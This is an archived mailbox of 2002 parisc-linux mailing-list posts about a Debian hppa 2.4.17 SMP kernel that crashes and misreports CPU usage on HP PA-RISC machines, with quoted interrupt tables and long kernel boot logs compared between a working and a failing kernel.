problem.  Just wanted to give a heads-up in case anyone else is running lvm 
and is experiencing problems...




 Paul.



From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel 2.4.17-32-smp problem
Date: Mon, 25 Mar 2002 09:00:10 -0800 (PST)
Lines: 62
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203250836270.13376-100000@eiger.apptechsys.com>
References: <F8418E18-3FDC-11D6-80EC-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621182 5273 80.91.229.3 (22 Nov 2014 01:53:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:02 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	<parisc-linux@parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 10:00:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE39E482F
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 10:00:16 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id D867A7BC46; Mon, 25 Mar 2002 09:00:10 -0800 (PST)
In-Reply-To: <F8418E18-3FDC-11D6-80EC-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14418

On Mon, 25 Mar 2002, Thibaut VARENE wrote:

> We're running a 2.4.17-pa17 SMP for over 12 days now on our A500;
> The top also shows us a 50% idle.
> The slmon utility shows that only one processor is being used (CPU1),
> but the experience told us it wasn't true (see bellow).
> >
> > Your observation suggest something wrong with either process scheduling
> > or process accounting.
> >
> > And I hope CPU0 isn't completely idle, look at /proc/interrupts.
> > I know interrupt distribution works.
> We are running two instances of setiathome ;o) on this machine with this
> kernel,
> both units are completed in the same time, I mean that the box does two
> units in the time it needs to do one in non-SMP mode. Therefore I think
> that both processors are functioning properly ;o)
> We have noticed that the load average seems to reflect the real load on
> the machine: it goes up to 2.00 when 2 setis are running, even though
> only one seems to be "on processor" according to the top.

When I tried to run 2 seti's, one hung.  When I look at per-process stats,
they all have 0 time on cpu0.

>
> We suspect that something goes wrong with the proc.
> Here's our /proc/interrupts:
> [varenet@mkhppa3 ~]$ cat /proc/interrupts
>   IRQ      count         Region    ISR
>   64:  218592808    8402371       PA-CPU-00  timer
>   65:    7219789          0       PA-CPU-00  IPI
>   66:    8402371         30       PA-CPU-00  IO-SAPIC00-L0
>   67:          0     239155       PA-CPU-00  IO-SAPIC00-L1
>   68:          0       2284       PA-CPU-00  IO-SAPIC00-L2
>   69:         30          0       PA-CPU-00  IO-SAPIC00-L2
>   70:     239155          0       PA-CPU-00  IO-SAPIC00-L3
>   71:       2284          0       PA-CPU-00  IO-SAPIC00-L4
>   72:          0          0       PA-CPU-00  IO-SAPIC00-L5
> 128:    8402371          0      IO-SAPIC00  eth0
> 130:         30          0      IO-SAPIC00  sym53c8xx
> 131:     239155          0      IO-SAPIC00  sym53c8xx
> 132:       2284          0      IO-SAPIC00  serial
> >
> >
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://www.esiee.fr/puffin
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

-- 
Truthful, adj.:
	Dumb and illiterate.
		-- Ambrose Bierce, "The Devil's Dictionary"




From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.17-32-smp problem
Date: Mon, 25 Mar 2002 09:44:27 -0800 (PST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203250941180.13376-100000__46621.8833848417$1416621183$gmane$org@eiger.apptechsys.com>
References: <Pine.LNX.4.33L2.0203231953470.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621183 5276 80.91.229.3 (22 Nov 2014 01:53:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:03 +0000 (UTC)
Cc: <debian-hppa@lists.debian.org>
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 10:44:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24946485C
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 10:44:28 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 70C737BC46; Mon, 25 Mar 2002 09:44:27 -0800 (PST)
In-Reply-To: <Pine.LNX.4.33L2.0203231953470.13376-100000@eiger.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14419

On Sat, 23 Mar 2002, Jeremy Drake wrote:

> I have been running debian hppa for a while now without incedent.
> Recently, I ran apt-get upgrade, and it upgraded my kernel-image
> 2.4.17-32-smp.  I rebooted, and the box now crashes periodically.  It has
> done this twice.  Since I have not had physical access to the box for a
> while, I can't get any logs or even bring the box back up.  Hopefully by
> monday I'll be able to be more help.
>
> Thanks for the great work on this port, and hopefully you can help me.
> Log files to follow when available.......

Unfortunately, the log files are very unhelpful.
It just stops, and starts back up when I reboot.

Mar 21 18:55:16 krakatoa -- MARK --
Mar 22 15:16:29 krakatoa syslogd 1.4.1#10: restart.
Mar 22 15:16:29 krakatoa kernel: klogd 1.4.1#10, log source = /proc/kmsg
started.
Mar 22 15:16:29 krakatoa kernel: Inspecting /boot/System.map-2.4.17-32-smp
Mar 22 15:16:29 krakatoa kernel: Loaded 30310 symbols from
/boot/System.map-2.4.17-32-smp.
Mar 22 15:16:29 krakatoa kernel: Symbols match kernel version 2.4.17.
Mar 22 15:16:29 krakatoa kernel: No module symbols loaded.
Mar 22 15:16:29 krakatoa kernel: Linux version 2.4.17-32-smp (root@paer)
(gcc version 3.0.4) #1 SMP Sat Mar 16 17:55:20 MST 2002

-- 
"Most people would like to be delivered from
 temptation but would like it to keep in touch."
-- Robert Orben




From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.17-32-smp problem
Date: Mon, 25 Mar 2002 10:00:02 -0800 (PST)
Lines: 280
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203250948230.13376-100000@eiger.apptechsys.com>
References: <Pine.LNX.4.33L2.0203250941180.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621183 5279 80.91.229.3 (22 Nov 2014 01:53:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:03 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 11:00:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id E79034865
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 11:00:03 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP id E28217BC46
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 10:00:02 -0800 (PST)
In-Reply-To: <Pine.LNX.4.33L2.0203250941180.13376-100000@eiger.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14420

On Mon, 25 Mar 2002, Jeremy Drake wrote:

> Unfortunately, the log files are very unhelpful.
> It just stops, and starts back up when I reboot.
>

It just occured to me that the different startup logs could be helpful.
So here they are.  Sorry for the length, but I don't know what could be
useful.  Looks like the new one has more drivers, and recognizes my video
card that I don't use (yet).

The One That Works:
Mar 25 09:24:13 krakatoa syslogd 1.4.1#10: restart.
Mar 25 09:24:13 krakatoa kernel: klogd 1.4.1#10, log source = /proc/kmsg started.
Mar 25 09:24:13 krakatoa kernel: Inspecting /boot/System.map-2.4.17-32-smp
Mar 25 09:24:14 krakatoa kernel: Loaded 27313 symbols from /boot/System.map-2.4.17-32-smp.
Mar 25 09:24:14 krakatoa kernel: Symbols match kernel version 2.4.17.
Mar 25 09:24:14 krakatoa kernel: No module symbols loaded.
Mar 25 09:24:14 krakatoa kernel: Linux version 2.4.17-32-smp (root@paer) (gcc version 3.0.3) #1 SMP Thu Feb 14 02:12:37 MST 2002
Mar 25 09:24:14 krakatoa kernel: FP[0] enabled: Rev 1 Model 16
Mar 25 09:24:14 krakatoa kernel: The 32-bit Kernel has started...
Mar 25 09:24:14 krakatoa kernel: Determining PDC firmware type: System Map.
Mar 25 09:24:14 krakatoa kernel: model 00005bd0 00000491 00000000 00000002 776c6453 100000f0 00000008 000000b2 000000b2
Mar 25 09:24:14 krakatoa kernel: vers  00000201
Mar 25 09:24:14 krakatoa kernel: CPUID vers 17 rev 5 (0x00000225)
Mar 25 09:24:14 krakatoa kernel: model 9000/785/J5000
Mar 25 09:24:14 krakatoa kernel: Total Memory: 512 Mb
Mar 25 09:24:14 krakatoa kernel: pagetable_init
Mar 25 09:24:14 krakatoa kernel: On node 0 totalpages: 131072
Mar 25 09:24:14 krakatoa kernel: zone(0): 131072 pages.
Mar 25 09:24:14 krakatoa kernel: zone(1): 0 pages.
Mar 25 09:24:14 krakatoa kernel: zone(2): 0 pages.
Mar 25 09:24:14 krakatoa kernel: LCD display at f05d0008,f05d0000 registered
Mar 25 09:24:14 krakatoa kernel: Kernel command line: root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
Mar 25 09:24:14 krakatoa kernel: Console: colour dummy device 160x64
Mar 25 09:24:14 krakatoa kernel: Calibrating delay loop... 878.18 BogoMIPS
Mar 25 09:24:14 krakatoa kernel: Memory: 508244k available
Mar 25 09:24:14 krakatoa kernel: Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Mar 25 09:24:14 krakatoa kernel: Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Mar 25 09:24:14 krakatoa kernel: Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mar 25 09:24:14 krakatoa kernel: Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Mar 25 09:24:14 krakatoa kernel: Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Mar 25 09:24:14 krakatoa kernel: Searching for devices...
Mar 25 09:24:14 krakatoa kernel: Found devices:
Mar 25 09:24:14 krakatoa kernel: 1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, 0xb
Mar 25 09:24:14 krakatoa kernel: 2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
Mar 25 09:24:14 krakatoa kernel: 3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
Mar 25 09:24:14 krakatoa kernel: 4. Elroy PCI Bridge (13) at 0xfed34000 [10/2], versions 0x782, 0x0, 0xa
Mar 25 09:24:14 krakatoa kernel: 5. Elroy PCI Bridge (13) at 0xfed38000 [10/4], versions 0x782, 0x0, 0xa
Mar 25 09:24:14 krakatoa kernel: 6. Elroy PCI Bridge (13) at 0xfed3c000 [10/6], versions 0x782, 0x0, 0xa
Mar 25 09:24:14 krakatoa kernel: 7. Forte W 2-way (0) at 0xfffa0000 [32], versions 0x5bd, 0x0, 0x4
Mar 25 09:24:14 krakatoa kernel: 8. Forte W 2-way (0) at 0xfffa2000 [34], versions 0x5bd, 0x0, 0x4
Mar 25 09:24:14 krakatoa kernel: 9. Memory (1) at 0xfed10200 [49], versions 0x88, 0x0, 0x9
Mar 25 09:24:14 krakatoa kernel: CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
Mar 25 09:24:14 krakatoa kernel: SBA found Astro 2.1 at 0xfed00000
Mar 25 09:24:14 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed30000
Mar 25 09:24:14 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed32000
Mar 25 09:24:14 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed34000
Mar 25 09:24:14 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed38000
Mar 25 09:24:14 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed3c000
Mar 25 09:24:14 krakatoa kernel: POSIX conformance testing by UNIFIX
Mar 25 09:24:14 krakatoa kernel: FP[1] enabled: Rev 1 Model 16
Mar 25 09:24:14 krakatoa kernel: SMP: Total 2 of 2 processors activated (1756.36 BogoMIPS noticed).
Mar 25 09:24:14 krakatoa kernel: Waiting on wait_init_idle (map = 0x2)
Mar 25 09:24:14 krakatoa kernel: All processors have done init_idle
Mar 25 09:24:14 krakatoa kernel: Linux NET4.0 for Linux 2.4
Mar 25 09:24:14 krakatoa kernel: Based upon Swansea University Computer Society NET3.039
Mar 25 09:24:14 krakatoa kernel: Initializing RT netlink socket
Mar 25 09:24:14 krakatoa kernel: Enabled soft power switch (polling mode, io=0xf0400804).
Mar 25 09:24:14 krakatoa kernel: SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64)
Mar 25 09:24:14 krakatoa kernel: SuperIO: Serial port 1 at 0x3f8
Mar 25 09:24:14 krakatoa kernel: SuperIO: Serial port 2 at 0x2f8
Mar 25 09:24:14 krakatoa kernel: SuperIO: Parallel port at 0x378
Mar 25 09:24:14 krakatoa kernel: SuperIO: Floppy controller at 0x3f0
Mar 25 09:24:14 krakatoa kernel: parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
Mar 25 09:24:14 krakatoa kernel: Starting kswapd
Mar 25 09:24:14 krakatoa kernel: pty: 256 Unix98 ptys configured
Mar 25 09:24:14 krakatoa kernel: Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Mar 25 09:24:14 krakatoa kernel: ttyS00 at port 0x03f8 (irq = 99) is a 16550A
Mar 25 09:24:14 krakatoa kernel: ttyS01 at port 0x02f8 (irq = 100) is a 16550A
Mar 25 09:24:14 krakatoa kernel: lp0: using parport0 (interrupt-driven).
Mar 25 09:24:14 krakatoa kernel: Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Mar 25 09:24:14 krakatoa kernel: block: 128 slots per queue, batch=32
Mar 25 09:24:14 krakatoa kernel: RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
Mar 25 09:24:14 krakatoa kernel: Uniform Multi-Platform E-IDE driver Revision: 6.31
Mar 25 09:24:14 krakatoa kernel: ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
Mar 25 09:24:14 krakatoa kernel: NS87415: IDE controller on PCI bus 00 dev 70
Mar 25 09:24:14 krakatoa kernel: NS87415: chipset revision 3
Mar 25 09:24:14 krakatoa kernel: NS87415: not 100%% native mode: will probe irqs later
Mar 25 09:24:14 krakatoa kernel:     ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
Mar 25 09:24:14 krakatoa kernel:     ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
Mar 25 09:24:14 krakatoa kernel: hda: SONY CD-ROM CDU4821, ATAPI CD/DVD-ROM drive
Mar 25 09:24:14 krakatoa kernel: ide0 at 0x1f0-0x1f7,0x3f6 on irq 103
Mar 25 09:24:14 krakatoa kernel: hda: ATAPI 48X CD-ROM drive, 128kB Cache
Mar 25 09:24:14 krakatoa kernel: Uniform CD-ROM driver Revision: 3.12
Mar 25 09:24:14 krakatoa kernel: loop: loaded (max 8 devices)
Mar 25 09:24:14 krakatoa kernel: Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
Mar 25 09:24:14 krakatoa kernel: tulip0: no phy info, aborting mtable build
Mar 25 09:24:14 krakatoa kernel: tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
Mar 25 09:24:14 krakatoa kernel: eth0: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:35:0D:63, IRQ 66.
Mar 25 09:24:14 krakatoa kernel: SCSI subsystem driver Revision: 1.00
Mar 25 09:24:14 krakatoa kernel: sym53c8xx: at PCI bus 0, device 15, function 0
Mar 25 09:24:14 krakatoa kernel: sym53c8xx: 53c896 detected
Mar 25 09:24:14 krakatoa kernel: sym53c8xx: at PCI bus 0, device 15, function 1
Mar 25 09:24:14 krakatoa kernel: sym53c8xx: 53c896 detected
Mar 25 09:24:14 krakatoa kernel: sym53c896-0: rev 0x4 on pci bus 0 device 15 function 0 irq 65
Mar 25 09:24:14 krakatoa kernel: sym53c896-0: ID 7, Fast-20, Parity Checking
Mar 25 09:24:14 krakatoa kernel: sym53c896-0: handling phase mismatch from SCRIPTS.
Mar 25 09:24:14 krakatoa kernel: sym53c896-1: rev 0x4 on pci bus 0 device 15 function 1 irq 65
Mar 25 09:24:14 krakatoa kernel: sym53c896-1: ID 7, Fast-40, Parity Checking
Mar 25 09:24:14 krakatoa kernel: sym53c896-1: handling phase mismatch from SCRIPTS.
Mar 25 09:24:14 krakatoa kernel: scsi0 : sym53c8xx-1.7.3c-20010512
Mar 25 09:24:14 krakatoa kernel: scsi1 : sym53c8xx-1.7.3c-20010512
Mar 25 09:24:14 krakatoa kernel:   Vendor: SEAGATE   Model: ST336752LC        Rev: 0002
Mar 25 09:24:14 krakatoa kernel:   Type:   Direct-Access                      ANSI SCSI revision: 03
Mar 25 09:24:14 krakatoa kernel: Attached scsi disk sda at scsi1, channel 0, id 6, lun 0
Mar 25 09:24:14 krakatoa kernel: sym53c896-1-<6,*>: FAST-40 WIDE SCSI 80.0 MB/s (25.0 ns, offset 31)
Mar 25 09:24:14 krakatoa kernel: SCSI device sda: 71687369 512-byte hdwr sectors (36704 MB)
Mar 25 09:24:14 krakatoa kernel: Partition check:
Mar 25 09:24:14 krakatoa kernel:  sda: sda1 sda2 sda3 < sda5 > sda4
Mar 25 09:24:14 krakatoa kernel: sticonsole_init: searching for STI ROMs
Mar 25 09:24:14 krakatoa kernel: BUG: Skipping previously registered driver: sti (native)
Mar 25 09:24:14 krakatoa kernel: md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
Mar 25 09:24:14 krakatoa kernel: md: Autodetecting RAID arrays.
Mar 25 09:24:14 krakatoa kernel: md: autorun ...
Mar 25 09:24:14 krakatoa kernel: md: ... autorun DONE.
Mar 25 09:24:14 krakatoa kernel: NET4: Linux TCP/IP 1.0 for NET4.0
Mar 25 09:24:14 krakatoa kernel: IP Protocols: ICMP, UDP, TCP
Mar 25 09:24:14 krakatoa kernel: IP: routing cache hash table of 512 buckets, 24Kbytes
Mar 25 09:24:14 krakatoa kernel: TCP: Hash tables configured (established 4096 bind 8192)
Mar 25 09:24:14 krakatoa kernel: NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Mar 25 09:24:14 krakatoa kernel: VFS: Mounted root (ext2 filesystem) readonly.
Mar 25 09:24:14 krakatoa kernel: NOT FREEING INITMEM (383k)
Mar 25 09:24:14 krakatoa kernel: Adding Swap: 497972k swap-space (priority -1)
Mar 25 09:24:14 krakatoa kernel: eth0: Setting full-duplex based on MII#1 link partner capability of 01e1.

The One That Breaks:
Mar 25 09:14:09 krakatoa syslogd 1.4.1#10: restart.
Mar 25 09:14:09 krakatoa kernel: klogd 1.4.1#10, log source = /proc/kmsg started.
Mar 25 09:14:09 krakatoa kernel: Inspecting /boot/System.map-2.4.17-32-smp
Mar 25 09:14:09 krakatoa kernel: Loaded 30310 symbols from /boot/System.map-2.4.17-32-smp.
Mar 25 09:14:09 krakatoa kernel: Symbols match kernel version 2.4.17.
Mar 25 09:14:09 krakatoa kernel: No module symbols loaded.
Mar 25 09:14:09 krakatoa kernel: Linux version 2.4.17-32-smp (root@paer) (gcc version 3.0.4) #1 SMP Sat Mar 16 17:55:20 MST 2002
Mar 25 09:14:09 krakatoa kernel: FP[0] enabled: Rev 1 Model 16
Mar 25 09:14:09 krakatoa kernel: The 32-bit Kernel has started...
Mar 25 09:14:09 krakatoa kernel: Determining PDC firmware type: System Map.
Mar 25 09:14:09 krakatoa kernel: model 00005bd0 00000491 00000000 00000002 776c6453 100000f0 00000008 000000b2 000000b2
Mar 25 09:14:09 krakatoa kernel: vers  00000201
Mar 25 09:14:09 krakatoa kernel: CPUID vers 17 rev 5 (0x00000225)
Mar 25 09:14:09 krakatoa kernel: model 9000/785/J5000
Mar 25 09:14:09 krakatoa kernel: Total Memory: 512 Mb
Mar 25 09:14:09 krakatoa kernel: pagetable_init
Mar 25 09:14:09 krakatoa kernel: On node 0 totalpages: 131072
Mar 25 09:14:09 krakatoa kernel: zone(0): 131072 pages.
Mar 25 09:14:09 krakatoa kernel: zone(1): 0 pages.
Mar 25 09:14:09 krakatoa kernel: zone(2): 0 pages.
Mar 25 09:14:09 krakatoa kernel: LCD display at f05d0008,f05d0000 registered
Mar 25 09:14:09 krakatoa kernel: Kernel command line: root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
Mar 25 09:14:09 krakatoa kernel: Console: colour dummy device 160x64
Mar 25 09:14:09 krakatoa kernel: Calibrating delay loop... 878.18 BogoMIPS
Mar 25 09:14:09 krakatoa kernel: Memory: 507900k available
Mar 25 09:14:09 krakatoa kernel: Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Mar 25 09:14:09 krakatoa kernel: Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Mar 25 09:14:09 krakatoa kernel: Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mar 25 09:14:09 krakatoa kernel: Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Mar 25 09:14:09 krakatoa kernel: Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Mar 25 09:14:09 krakatoa kernel: Searching for devices...
Mar 25 09:14:09 krakatoa kernel: Found devices:
Mar 25 09:14:09 krakatoa kernel: 1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, 0xb
Mar 25 09:14:09 krakatoa kernel: 2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
Mar 25 09:14:09 krakatoa kernel: 3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
Mar 25 09:14:09 krakatoa kernel: 4. Elroy PCI Bridge (13) at 0xfed34000 [10/2], versions 0x782, 0x0, 0xa
Mar 25 09:14:09 krakatoa kernel: 5. Elroy PCI Bridge (13) at 0xfed38000 [10/4], versions 0x782, 0x0, 0xa
Mar 25 09:14:09 krakatoa kernel: 6. Elroy PCI Bridge (13) at 0xfed3c000 [10/6], versions 0x782, 0x0, 0xa
Mar 25 09:14:09 krakatoa kernel: 7. Forte W 2-way (0) at 0xfffa0000 [32], versions 0x5bd, 0x0, 0x4
Mar 25 09:14:09 krakatoa kernel: 8. Forte W 2-way (0) at 0xfffa2000 [34], versions 0x5bd, 0x0, 0x4
Mar 25 09:14:09 krakatoa kernel: 9. Memory (1) at 0xfed10200 [49], versions 0x88, 0x0, 0x9
Mar 25 09:14:09 krakatoa kernel: CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
Mar 25 09:14:09 krakatoa kernel: SBA found Astro 2.1 at 0xfed00000
Mar 25 09:14:09 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed30000
Mar 25 09:14:09 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed32000
Mar 25 09:14:09 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed34000
Mar 25 09:14:09 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed38000
Mar 25 09:14:09 krakatoa kernel: lba version TR2.1 (0x2) found at 0xfed3c000
Mar 25 09:14:09 krakatoa kernel: POSIX conformance testing by UNIFIX
Mar 25 09:14:09 krakatoa kernel: FP[1] enabled: Rev 1 Model 16
Mar 25 09:14:09 krakatoa kernel: SMP: Total 2 of 2 processors activated (1756.36 BogoMIPS noticed).
Mar 25 09:14:09 krakatoa kernel: Waiting on wait_init_idle (map = 0x2)
Mar 25 09:14:09 krakatoa kernel: All processors have done init_idle
Mar 25 09:14:09 krakatoa kernel: Linux NET4.0 for Linux 2.4
Mar 25 09:14:09 krakatoa kernel: Based upon Swansea University Computer Society NET3.039
Mar 25 09:14:09 krakatoa kernel: Initializing RT netlink socket
Mar 25 09:14:09 krakatoa kernel: Enabled soft power switch (polling mode, io=0xf0400804).
Mar 25 09:14:09 krakatoa kernel: SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64)
Mar 25 09:14:09 krakatoa kernel: SuperIO: Serial port 1 at 0x3f8
Mar 25 09:14:09 krakatoa kernel: SuperIO: Serial port 2 at 0x2f8
Mar 25 09:14:09 krakatoa kernel: SuperIO: Parallel port at 0x378
Mar 25 09:14:09 krakatoa kernel: SuperIO: Floppy controller at 0x3f0
Mar 25 09:14:09 krakatoa kernel: SuperIO: ACPI at 0x7e0
Mar 25 09:14:09 krakatoa kernel: SuperIO: USB regulator enabled
Mar 25 09:14:09 krakatoa kernel: parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
Mar 25 09:14:09 krakatoa kernel: Starting kswapd
Mar 25 09:14:09 krakatoa kernel: Journalled Block Device driver loaded
Mar 25 09:14:09 krakatoa kernel: PCI graphic ROM found at f7000000 (128 kB), fb @ fb000000 (16 MB)
Mar 25 09:14:09 krakatoa kernel: STI word mode ROM at f7000044, hpa=fb000000
Mar 25 09:14:09 krakatoa kernel: STI word mode ROM, id 35acda16-9a02587, conforms to spec rev. 8.0c
Mar 25 09:14:09 krakatoa kernel: STI device: HPA4982A
Mar 25 09:14:09 krakatoa kernel: pty: 256 Unix98 ptys configured
